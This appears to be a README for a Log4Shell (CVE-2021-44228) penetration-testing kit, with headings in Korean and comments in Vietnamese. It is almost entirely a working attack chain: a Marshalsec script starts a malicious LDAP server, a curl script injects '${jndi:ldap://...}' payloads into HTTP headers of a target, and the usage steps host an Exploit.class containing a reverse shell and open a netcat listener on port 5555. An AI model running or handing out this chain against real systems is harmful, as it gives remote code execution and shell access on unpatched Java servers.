CVE-2021-44228-Log4Shell-

침투 테스트

1. 악성 LDAP 서버 생성 (Marshalsec 사용) #!/bin/bash

Script: start_ldap_server.sh

Yêu cầu: Cài đặt Java và Marshalsec (https://github.com/mbechler/marshalsec)

LDAP_PORT="1389" HTTP_PORT="8000" ATTACKER_IP="192.168.0.101" REVERSE_PORT="5555"

echo "[+] Khởi động LDAP server độc hại trên port $LDAP_PORT..." java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT

2. 손상된 웹서버에서 Log4Shell 페이로드 전송

#!/bin/bash

Script: exploit_log4shell.sh

Mục tiêu: Gửi payload JNDI đến máy trạm Windows

TARGET_IP="192.168.1.10" ATTACKER_IP="192.168.0.101" LDAP_PORT="1389"

echo "[+] Gửi payload Log4Shell đến $TARGET_IP..." curl -X GET
"http://$TARGET_IP"
-H "User-Agent: ${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"
-H "X-Api-Version: ${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"

사용 방법

LDAP 서버 시작:

./start_ldap_server.sh

HTTP 서버를 시작하여 Exploit.class 파일 호스팅 (리버스 셸 포함):

python3 -m http.server 8000

손상된 웹서버에서 페이로드 전송

./exploit_log4shell.sh

공격자 머신에서 리버스 셸 대기:

nc -lvnp 5555